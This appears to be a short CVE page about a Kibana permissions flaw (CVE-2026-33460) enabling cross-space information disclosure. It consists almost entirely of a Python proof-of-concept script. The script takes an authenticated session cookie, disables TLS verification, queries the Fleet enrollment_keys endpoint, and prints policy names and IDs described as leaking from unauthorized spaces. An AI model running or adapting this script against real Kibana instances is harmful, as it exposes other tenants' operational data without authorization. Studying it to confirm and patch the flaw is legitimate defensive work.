CVE-2026-33460 Kibana权限不正确导致跨空间信息泄露

import requests # Target URL (example) target_url = "https://<kibana-host>:<port>/api/fleet/enrollment_keys" # Authentication cookie/token (obtained after login) auth_cookie = { "sid": "<session_id>" } # The vulnerability allows a user with Fleet agent management privileges in one space # to access policy details from other spaces via an internal endpoint. try: response = requests.get(target_url, cookies=auth_cookie, verify=False) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved policy data:") print(data) # Check if data contains information from unauthorized spaces if "items" in data: for item in data["items"]: # Leaked fields: operational identifiers, policy names, management state print(f"Policy Name: {item.get('name')}, ID: {item.get('id')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")